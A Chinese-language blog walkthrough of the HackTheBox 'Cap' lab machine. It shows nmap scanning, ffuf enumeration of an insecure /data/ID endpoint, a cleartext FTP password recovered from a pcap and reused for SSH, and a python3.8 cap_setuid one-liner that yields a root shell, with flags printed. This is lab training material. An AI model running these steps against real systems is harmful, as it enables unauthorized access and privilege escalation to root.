(HTB)0x1-Cap

鼠鼠第一次打HacktheBox

參考影片

Task1

How many TCP ports are open?

用本地的powershell來掃 , 記得下一個nmap

1
2
3
4
5
6
7
8
9
(base) PS C:\Users\1984l> nmap 10.129.104.75
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-31 18:15 +0800
Nmap scan report for 10.129.104.75
Host is up (0.47s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

答案是三個。

2665de56-b270-4386-9e5e-386f3bcad181.png

可以搜一搜vsFTPd 3.0.3 的chagelog

exiftool

在 Web 題裡它常用在 檔案上傳漏洞。

還可以把網站下來看看相關信息,

例如 HTB 題目裡網站可能用了某個舊軟體，但頁面上沒有直接寫版本或發布日期，他就會：

1
2
wget http://target/
exiftool index.html

可以在這找到是在2015年建立的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(py311) ghsc@Jerrylaptop:~/HTB/cap$ exiftool Changelog-diff.html
ExifTool Version Number         : 12.76
File Name                       : Changelog-diff.html
Directory                       : .
File Size                       : 12 kB
File Modification Date/Time     : 2015:07:25 23:17:28+08:00
File Access Date/Time           : 2026:08:31 23:47:04+08:00
File Inode Change Date/Time     : 2026:08:31 23:47:10+08:00
File Permissions                : -rwxr-xr-x
File Type                       : HTML
File Type Extension             : html
MIME Type                       : text/html
Content Type                    : text/html; charset=iso-8859-1
Content Style Type              : text/css
Viewport                        : width=device-width, initial-scale=0.6
Keywords                        : vsftpd, Changelog, member, file, version, source, changes, differences, report, Fossies, archive
Description                     : Source code changes report for the member file Changelog of the vsftpd software package between the versions 3.0.2 and 3.0.3
Content Script Type             : text/javascript
Title                           : vsftpd: Changelog - 3.0.2 vs. 3.0.3 changes | Fossies Diffs

Task2

After running a “Security Snapshot”, the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?

直接在網上找

1602c96f-6ac9-4652-ab90-da47ccb1f706.png

答案是data

Task3

Are you able to get to other users’ scans?

先下一個ffuf:

1
2
sudo apt update
sudo apt install ffuf

用FUZZ來試試:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -u http://10.129.104.119/data/FUZZ -w <(seq 0 20)

(py311) ghsc@Jerrylaptop:~/HTB/cap$ ffuf -u http://10.129.104.119/data/FUZZ -w <(seq 0 20)

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.104.119/data/FUZZ
 :: Wordlist         : FUZZ: /dev/fd/63
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [21/21] :: Job [1/1] :: 10500 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

可以掃出來 , 答案是yes

Task4

What is the ID of the PCAP file that contains sensative data?

可以在左邊看見/data/1 /ip /netstat

在這下載pcap檔:

27cb436e-2be2-4a8a-b588-36e453ff8497.png

在上一個task可以知道data是從data/0 - data/20 都可以訪問

從data/0 下了pcap有:

b1428738-4171-42b5-a27b-0217cf1d2c40.png

可以follow TCP Stream

7006a161-9ddb-4228-82f6-eaf5382e276c.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
q220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.

答案是封包編號0

Task5

Which application layer protocol in the pcap file can the sensetive data be found in?

Hints: It has to do with one of the other open TCP ports on Cap.

看上面就知道 : FTP

Task6

We’ve managed to collect nathan’s FTP password. On what other service does this password work?

一眼看出是SSH了 , 都有號和密碼了

Task7

Submit the flag located in the nathan user’s home directory.

要去ssh找flag了, 先去wsl 下一個ftp:

1
2
sudo apt update
sudo apt install ftp

ok 用 ftp 登一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(py311) ghsc@Jerrylaptop:~$ ftp 10.129.105.31
Connected to 10.129.105.31.
220 (vsFTPd 3.0.3)
Name (10.129.105.31:ghsc): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||27799|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Sep 01 08:23 user.txt
226 Directory send OK.
ftp> ls -a
229 Entering Extended Passive Mode (|||62106|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Sep 01 08:23 user.txt
226 Directory send OK.

flag在user.txt上 , 下到本機再看:

1
2
3
4
5
6
7
8
9
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||12355|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |****************************************|    33        0.22 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.04 KiB/s)
ftp> quit
221 Goodbye.

Task 8

What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?

Hints:linPEAS will show this in the ‘Files with capabilities’ section of the output. Or use the getcap binary on Cap.

getcap 和setcap 是Linux 中用于管理文件能力(capabilities)的命令行工具

有點看不懂 , 機器上哪一個可執行檔被賦予了 Linux capabilities，而且這個 capability 可以被用來提權到 root。

題目是要用getcap來找出一些特殊的二進制檔 , 特殊的二進制檔比如有: cap_setuid , cap_net_bind_service 等等 , 參考了LINK。

  • cap_setuid：允許進程更改其用戶 ID。可以用來切換到 root 用戶（UID 0），這是非常有用的提權方式。
  • cap_net_bind_service：允許進程綁定到 1024 以下的低端口，這通常只有 root 用戶可以做。
  • cap_net_raw：允許使用原始套接字發送和接收數據包，通常用於網絡調試工具，但不直接有助於提權。
  • cap_net_admin：允許進行各種網絡管理操作，比如配置網絡接口、修改路由表等。

先用ssh來連:

1
ssh nathan@10.129.105.223

用一getcap:

1
getcap -r / 2>/dev/null

可以看見有幾個檔:

1
2
3
4
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

可以 cap_setuid 的是/usr/bin/python3.8

所以答案是/usr/bin/python3.8

Task 9

Submit the flag located in root’s home directory.

去提提權:

1
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

如圖:

1
2
3
4
5
6
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# cd /root
root@cap:/root# ls
root.txt  snap
root@cap:/root# cat root.txt
dced445fce63bfe231a1f5e0d158e515

提權